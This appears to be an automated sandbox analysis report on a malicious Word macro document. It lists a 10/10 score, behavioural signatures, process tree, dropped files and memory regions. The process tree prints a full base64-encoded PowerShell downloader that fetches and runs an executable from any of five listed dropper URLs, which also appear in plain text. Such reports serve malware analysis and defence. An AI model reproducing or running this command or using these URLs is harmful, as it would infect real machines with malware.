Analysis

  • max time kernel
    117s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    04/05/2024, 02:35

General

  • Target
    114218cc0cda4bc9d777ad1554cb1392_JaffaCakes118.doc
  • Size 152KB
  • Sample240504-c3c8rabb3x
  • SHA256 3965c5327e4e062d2a2786b689644741b4aaace1fa09ebda27313bd56e69ee6b
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://treadball.com/viqrqs/92192/

  • exe.dropper

    http://bigplan-alex.com/APP.bigplan-alex.com/3ey6ryl636/

  • exe.dropper

    http://amzonfun.com/clricns/npq12319/

  • exe.dropper

    https://giaodienweb.xyz/fckeditor/sb22068/

  • exe.dropper

    https://www.gronowskiphotos.net/wp-includes/zuxd6z30145/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\114218cc0cda4bc9d777ad1554cb1392_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2416
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1708
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABWAGsAZQBqAGIAZABoAG4AawA9ACcAWgB6AGsAegB2AGMAaABnAGkAJwA7ACQATQB1AHIAaQBiAHgAbABkAGkAcwAgAD0AIAAnADMANAAzACcAOwAkAEkAeQBuAHgAZgB4AHYAYQBkAHcAdQB4AGkAPQAnAE8AZABlAGYAYgBzAG8AcwBpAHEAeQBxAGIAJwA7ACQAVgB2AGEAdABzAHoAagBwAGgAbAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQATQB1AHIAaQBiAHgAbABkAGkAcwArACcALgBlAHgAZQAnADsAJABRAHgAeABuAHYAbABuAGYAYwBwAD0AJwBDAGMAZgBuAHEAegBjAHMAYwBkAGQAdwAnADsAJABHAHQAZwBhAHcAYwBrAHcAagA9AC4AKAAnAG4AZQAnACsAJwB3AC0AbwBiAGoAJwArACcAZQBjACcAKwAnAHQAJwApACAATgBFAHQALgB3AEUAYgBDAEwASQBlAG4AdAA7ACQAVQBhAGQAcgB1AGwAdwBuAD0AJwBoAHQAdABwAHMAOgAvAC8AdAByAGUAYQBkAGIAYQBsAGwALgBjAG8AbQAvAHYAaQBxAHIAcQBzAC8AOQAyADEAOQAyAC8AKgBoAHQAdABwADoALwAvAGIAaQBnAHAAbABhAG4ALQBhAGwAZQB4AC4AYwBvAG0ALwBBAFAAUAAuAGIAaQBnAHAAbABhAG4ALQBhAGwAZQB4AC4AYwBvAG0ALwAzAGUAeQA2AHIAeQBsADYAMwA2AC8AKgBoAHQAdABwADoALwAvAGEAbQB6AG8AbgBmAHUAbgAuAGMAbwBtAC8AYwBsAHIAaQBjAG4AcwAvAG4AcABxADEAMgAzADEAOQAvACoAaAB0AHQAcABzADoALwAvAGcAaQBhAG8AZABpAGUAbgB3AGUAYgAuAHgAeQB6AC8AZgBjAGsAZQBkAGkAdABvAHIALwBzAGIAMgAyADAANgA4AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBnAHIAbwBuAG8AdwBzAGsAaQBwAGgAbwB0AG8AcwAuAG4AZQB0AC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AegB1AHgAZAA2AHoAMwAwADEANAA1AC8AJwAuACIAUwBwAGAAbABpAHQAIgAoACcAKgAnACkAOwAkAEcAZQBoAGcAaAB0AHoAcgBmAHcAYQB2AD0AJwBCAHkAYgBxAG0AegBtAHAAZABkAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEsAagBjAHEAdgB6AGMAagAgAGkAbgAgACQAVQBhAGQAcgB1AGwAdwBuACkAewB0AHIAeQB7ACQARwB0AGcAYQB3AGMAawB3AGoALgAiAGQAbwB3AE4ATABPAEEARABgAEYASQBgAEwARQAiACgAJABLAGoAYwBxAHYAegBjAGoALAAgACQAVgB2AGEAdABzAHoAagBwAGgAbAApADsAJABJAGoAbQB1AGEAaQBiAGUAaQB5AHYAaAB2AD0AJwBYAGkAbQB1AHoAbwByAGUAYwBtACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAVgB2AGEAdABzAHoAagBwAGgAbAApAC4AIgBsAEUAbgBgAGcAVABoACIAIAAtAGcAZQAgADIAOAAxADUANQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAFIAVAAiACgAJABWAHYAYQB0AHMAegBqAHAAaABsACkAOwAkAFIAYgBkAHkAcQB2AHEAaQBzAD0AJwBNAHoAagBzAHoAZgBpAHEAJwA7AGIAcgBlAGEAawA7ACQAUgB1AHEAbQByAGoAcgBlAD0AJwBQAGUAdABtAGcAdQB3AHIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABFAGYAbQBpAGEAZQB5AGUAPQAnAFQAeQBmAHoAZwBuAG0AeQBsACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1636

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          5278563D.wmf

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5278563D.wmf
          • Size 338B
          • SHA256 ece13160ae14949b4b92b3a5e7048af2e9e3129ca8e2de972e160c313822bac1
          • MD5 SHA1 SHA512

          Normal.dotm

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
          • Size 20KB
          • SHA256 581ec03b2da768b37ef330370ba4a9adf8364539f1dfc64d21c5ee6f64c7259a
          • MD5 SHA1 SHA512 SSDEEP

          memory/1636-110-0x0000000002690000-0x0000000002698000-memory.dmp

          memory/1636-109-0x000000001B500000-0x000000001B7E2000-memory.dmp

          memory/2416-87-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-84-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-89-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-98-0x0000000006490000-0x0000000006590000-memory.dmp

          memory/2416-97-0x0000000006490000-0x0000000006590000-memory.dmp

          memory/2416-96-0x0000000006490000-0x0000000006590000-memory.dmp

          memory/2416-95-0x0000000006490000-0x0000000006590000-memory.dmp

          memory/2416-88-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-0-0x000000002F691000-0x000000002F692000-memory.dmp

          memory/2416-86-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-85-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-83-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-82-0x0000000000540000-0x0000000000640000-memory.dmp

          memory/2416-103-0x0000000006490000-0x0000000006590000-memory.dmp

          memory/2416-102-0x0000000006490000-0x0000000006590000-memory.dmp

          memory/2416-7-0x00000000068A0000-0x00000000069A0000-memory.dmp

          memory/2416-2-0x000000007178D000-0x0000000071798000-memory.dmp

          memory/2416-147-0x000000007178D000-0x0000000071798000-memory.dmp

          memory/2416-148-0x0000000006490000-0x0000000006590000-memory.dmp

          memory/2416-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/2416-164-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/2416-167-0x000000007178D000-0x0000000071798000-memory.dmp